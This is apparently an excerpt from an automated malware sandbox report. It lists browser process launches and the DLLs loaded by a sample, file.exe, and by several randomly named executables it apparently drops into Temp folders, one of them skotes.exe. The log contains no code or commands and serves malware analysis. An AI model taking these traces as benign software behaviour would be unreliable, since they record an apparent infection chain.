Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 --field-trial-handle=1968,i,13235813427011115255,13293806181875594211,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2020,i,10916342285601076747,13162167877453187169,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Section loaded: iphlpapi.dll
